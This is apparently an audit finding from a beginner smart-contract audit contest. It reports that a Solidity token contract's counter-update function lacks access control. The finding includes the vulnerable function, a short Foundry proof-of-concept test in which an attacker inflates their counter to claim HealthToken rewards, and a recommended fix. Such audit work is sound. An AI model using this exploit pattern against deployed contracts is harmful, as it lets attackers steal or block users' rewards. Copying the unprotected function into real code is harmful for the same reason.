First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`MartenitsaToken::updateCountMartenitsaTokensOwner` lacks of access control leading to storage corruption.

n0kto

Description

MartenitsaToken uses a function to keep update the NFT counter of every addresses.
Problem is the function doesn't have access control : anyone can call it with arbitrary parameters and changer the counter of anyone else.

function updateCountMartenitsaTokensOwner(
address owner,
string memory operation
@> ) external {
if (
keccak256(abi.encodePacked(operation)) ==
keccak256(abi.encodePacked("add"))
) {
countMartenitsaTokensOwner[owner] += 1;
} else if (
keccak256(abi.encodePacked(operation)) ==
keccak256(abi.encodePacked("sub"))
) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}

The counter is reachable via getCountMartenitsaTokensOwner and is used to distribute HealthToken. Anyone can set is counter to a number modulo 3 to steal the HealthToken. An attacker can also prevent any user to receive their reward decreasing the counter.

Risk

Likelyhood: High

  • Anyone, anytime

Impact: High

  • Manipulation of the countMartenitsaTokensOwner variable.

  • Steal HealthToken or prevent its distribution.

Proof of Concept

Foundry PoC to add in `HealthToken.t.sol`
function testDistributionManipulation() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
marketplace.collectReward();
​
assertEq(healthToken.balanceOf(attacker), 1e18);
vm.stopPrank();
}

Recommended Mitigation

Add a modifier to allow only marketplace contract to call updateCountMartenitsaTokensOwner.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.